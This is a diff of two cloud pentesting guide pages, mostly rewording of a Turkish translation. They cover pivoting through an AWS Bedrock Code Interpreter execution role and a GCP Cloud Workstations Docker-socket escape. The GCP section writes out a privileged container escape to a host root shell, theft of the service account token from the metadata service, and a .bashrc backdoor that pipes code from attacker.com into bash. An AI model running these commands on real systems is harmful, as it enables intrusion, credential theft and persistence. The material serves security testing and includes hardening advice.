diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 94e086795..5b8c7b1fd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,31 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter, yönetilen bir yürütme ortamıdır. **Custom Code Interpreters** bir **`executionRoleArn`** ile yapılandırılabilir; bu, “code interpreter'ın AWS services'e erişmesi için izin sağlar”. +AgentCore Code Interpreter yönetilen bir yürütme ortamıdır. **Custom Code Interpreters** bir **`executionRoleArn`** ile yapılandırılabilir; bu, code interpreter'ın AWS hizmetlerine erişmesi için izinler sağlar. -Eğer bir **lower-privileged IAM principal**, **start + invoke** yetkisine sahip olarak, daha ayrıcalıklı bir **execution role** ile yapılandırılmış bir Code Interpreter oturumu başlatıp çalıştırabilirse, çağıran kimlik fiilen **pivot into the execution role’s permissions** yapabilir (lateral movement / privilege escalation; rol kapsamına bağlı olarak). +Eğer bir **lower-privileged IAM principal**, **start + invoke** ile daha ayrıcalıklı bir **execution role** ile yapılandırılmış bir Code Interpreter oturumunu başlatıp çağırabiliyorsa, arayan kişi fiilen **pivot into the execution role’s permissions** gerçekleştirebilir (lateral movement / privilege escalation rolün kapsamına bağlı olarak). > [!NOTE] -> Bu tipik olarak bir **misconfiguration / excessive permissions** sorunudur (interpreter execution role'e geniş izinler verilmesi ve/veya geniş invoke erişimi tanınması). -> AWS, execution role'lerin invoke etmeye izin verilen kimliklerden **equal or fewer** ayrıcalıklara sahip olmasını sağlayarak privilege escalation'dan kaçınılmasını açıkça uyarır. +> Bu tipik olarak bir **misconfiguration / excessive permissions** sorunudur (interpreter execution role'a geniş izinler vermek ve/veya geniş invoke erişimi tanımak). AWS, invocation izni verilen kimliklerin execution roles'a göre **equal or fewer** ayrıcalıklara sahip olmasını sağlayarak privilege escalation'dan kaçınılması gerektiği konusunda açıkça uyarır. -#### Ön Koşullar (yaygın yanlış yapılandırma) +#### Önkoşullar (yaygın yanlış yapılandırma) -- Bir **custom code interpreter** vardır ve aşırı ayrıcalıklı bir **execution role** ile yapılandırılmıştır (örn: hassas S3/Secrets/SSM erişimi veya IAM-admin benzeri yetenekler). +- Bir **custom code interpreter** mevcut olup over-privileged bir **execution role** ile yapılandırılmıştır (ex: hassas S3/Secrets/SSM erişimi veya IAM-admin-like yetenekler). - Bir kullanıcı (developer/auditor/CI identity) şu izinlere sahiptir: - start sessions: `bedrock-agentcore:StartCodeInterpreterSession` - invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` - (Optional) Kullanıcı ayrıca interpreter oluşturabilir: `bedrock-agentcore:CreateCodeInterpreter` (organizasyon kısıtlamalarına bağlı olarak execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir). -#### Recon (custom interpreters ve execution role kullanımının belirlenmesi) +#### Recon (identify custom interpreters and execution role usage) Interpreter'ları listeleyin (control-plane) ve yapılandırmalarını inceleyin: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> create-code-interpreter komutu `--execution-role-arn` parametresini destekler; bu, yorumlayıcının sahip olacağı AWS izinlerini tanımlar. +> create-code-interpreter komutu, yorumlayıcının sahip olacağı AWS izinlerini tanımlayan `--execution-role-arn` seçeneğini destekler. -#### Adım 1 - Bir oturum başlatın (bu bir `sessionId` döndürür, etkileşimli bir shell değildir) +#### Adım 1 - Bir oturum başlatın (bu bir `sessionId` döndürür, interactive shell değildir) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +42,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) +#### Adım 2 - Kod yürütmesini çağırma (Boto3 veya imzalı HTTPS) -`start-code-interpreter-session`'den **etkileşimli python shell** yok. Yürütme **InvokeCodeInterpreter** aracılığıyla gerçekleşir. +`start-code-interpreter-session`'den **etkileşimli bir Python kabuğu yoktur**. Yürütme **InvokeCodeInterpreter** aracılığıyla gerçekleşir. -**Seçenek A - Boto3 örneği (Python çalıştır + kimliği doğrula):** +**Seçenek A - Boto3 örneği (Python çalıştırma + kimliği doğrulama):** ```python import boto3 @@ -68,9 +67,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Eğer yorumlayıcı bir execution role ile yapılandırıldıysa, `sts:GetCallerIdentity()` çıktısı o role ait kimliği (düşük ayrıcalıklı çağıranı değil) göstermelidir; bu pivot'u kanıtlar. +Yorumlayıcı execution role ile yapılandırılmışsa, `sts:GetCallerIdentity()` çıktısı o rolün kimliğini yansıtmalıdır (low-priv caller değil), bu da pivot'u gösterir. -**Seçenek B - İmzalı HTTPS çağrısı (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,18 +86,18 @@ awscurl -X POST \ } }' ``` -#### Etkiler +#### Etki -* **Lateral movement** — interpreter execution role'ın sahip olduğu AWS erişimine yayılma. -* **Privilege escalation** — interpreter execution role, çağırandan daha ayrıcalıklıysa yetki yükseltme. -* CloudTrail data events for interpreter invocations etkin değilse tespiti zorlaşır (çağrılar yapılandırmaya bağlı olarak varsayılan olarak kaydedilmeyebilir). +* **Lateral movement** — interpreter execution role'un sahip olduğu AWS erişimine doğru. +* **Privilege escalation** — interpreter execution role, caller'dan daha ayrıcalıklıysa. +* Tespit zorluğu — interpreter invocations için CloudTrail data events etkin değilse (invocations yapılandırmaya bağlı olarak varsayılan olarak kaydedilmeyebilir). #### Önlemler / Sertleştirme -* Interpreter `executionRoleArn` üzerinde **Least privilege** uygulayın (Lambda execution roles / CI roles gibi değerlendirin). -* Kimlerin `bedrock-agentcore:InvokeCodeInterpreter` ile invoke edebileceğini ve kimlerin oturum başlatabileceğini kısıtlayın. -* Onaylanmış agent runtime rolleri hariç InvokeCodeInterpreter'ı reddetmek için **SCPs** kullanın (org-seviyesi zorlayıcı önlem gerekebilir). -* Uygun yerlerde AgentCore için **CloudTrail data events**'i etkinleştirin; beklenmeyen çağrılar ve oturum oluşturma için uyarı oluşturun. +* **Least privilege** on the interpreter `executionRoleArn` (Lambda execution roles / CI roles gibi davranın). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) ve kimlerin oturum başlatabileceğini kısıtlayın. +* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary). +* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation. ## Referanslar diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 4abc008bf..979404f92 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,16 +3,16 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token. +Cloud Workstations'taki ana yetki yükseltme yolu, geliştiriciler için **Docker-in-Docker (DinD)** iş akışlarını destekleme zorunluluğundan kaynaklanır. Workstation yapılandırması Docker socket'i mount ediyor veya privileged containers'a izin veriyorsa (yaygın bir yapılandırma), workstation konteyneri içindeki bir saldırgan altındaki Compute Engine VM'ine kaçıp onun service account token'ını çalabilir. **Önkoşullar:** -- Cloud Workstation terminaline erişim (SSH ile, ele geçirilmiş oturum veya çalınmış kimlik bilgileri aracılığıyla) +- Cloud Workstation terminaline erişim (SSH ile, ele geçirilmiş bir oturumla veya çalınmış kimlik bilgileriyle) - Workstation yapılandırması `/var/run/docker.sock`'u mount etmeli veya privileged containers'ı etkinleştirmeli -**Mimari bağlam:** Workstation bir container (Layer 3) olup Docker/Containerd runtime (Layer 2) üzerinde GCE VM (Layer 1) üzerinde çalışır. Docker socket, host'un container runtime'ına doğrudan erişim sağlar. +**Mimari bağlamı:** Workstation, bir Docker/Containerd runtime (Layer 2) üzerinde çalışan bir container (Layer 3) olup GCE VM (Layer 1) üzerinde çalışır. Docker socket, host'un container runtime'ına doğrudan erişim sağlar. > [!NOTE] -> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) otomatik olarak tam container escape işlemini gerçekleştirir ve sizi host VM'de root shell'e düşürür. +> Bu araç [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) tam container escape sürecini otomatikleştirir ve sizi host VM'de root shell'e düşürür.
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
-Adım 2: Escape ile host VM dosya sistemine +Adım 2: Escape to the host VM filesystem -Yetkili (privileged) bir container başlatıyoruz; host'un kök dizinini `/mnt/host` olarak bağlıyoruz. Görünürlüğü maksimize etmek için host'un ağını ve PID namespace'ini de paylaşıyoruz. +Privileged container başlatıyoruz, host'un root dizinini `/mnt/host` olarak mount ediyoruz. Görünürlüğü maksimize etmek için host'un network ve PID namespace'ini de paylaşıyoruz. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,13 +38,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Artık **root shell on the underlying Compute Engine VM**'e sahipsiniz (Layer 1). +Şimdi altında çalışan Compute Engine VM üzerinde bir **root shell**'e sahipsiniz (Layer 1).
-Adım 3: VM service account token'ını IMDS'ten çalın +Adım 3: IMDS'ten VM service account token'ını çalın ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **İzinleri Kontrol Edin!** -> Ekli Service Account **Editor** olsa bile, VM erişim scope'ları tarafından kısıtlanmış olabilir. -> Eğer `https://www.googleapis.com/auth/cloud-platform` görüyorsanız, tam erişiminiz vardır. +> **Erişim izinlerini (Scopes) kontrol edin!** +> Eki olan Service Account **Editor** olsa bile, VM access scopes ile kısıtlanmış olabilir. +> Eğer `https://www.googleapis.com/auth/cloud-platform` görürseniz, tam erişiminiz vardır. > Eğer sadece `logging.write` ve `monitoring.write` görüyorsanız, aşağıdaki **Network Pivot** ve **Persistence** vektörleriyle sınırlısınız.
-Step 4: Achieve Persistence (Backdoor the User) +Adım 4: Persistence Elde Et (Backdoor the User) -Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt. +Cloud Workstations, kalıcı bir diski `/home/user` dizinine mount eder. Container kullanıcısı (genellikle `user`, UID 1000) host kullanıcısıyla (UID 1000) eşleştiği için host'un home dizinine yazabilirsiniz. Bu, workstation container yeniden oluşturulsa bile ortama backdoor yerleştirmenizi sağlar. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc Adım 5: Network Pivot (Internal VPC Access) -Host ağ isim alanını (`--net=host`) paylaştığınız için artık VPC üzerinde güvenilir bir düğümsünüz. IP whitelisting'e dayalı erişime izin veren dahili servisleri tarayabilirsiniz. +Host network namespace (`--net=host`)'i paylaştığınız için artık VPC içinde güvenilen bir düğümsünüz. IP whitelisting'e dayalı erişime izin veren dahili servisleri tarayabilirsiniz. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap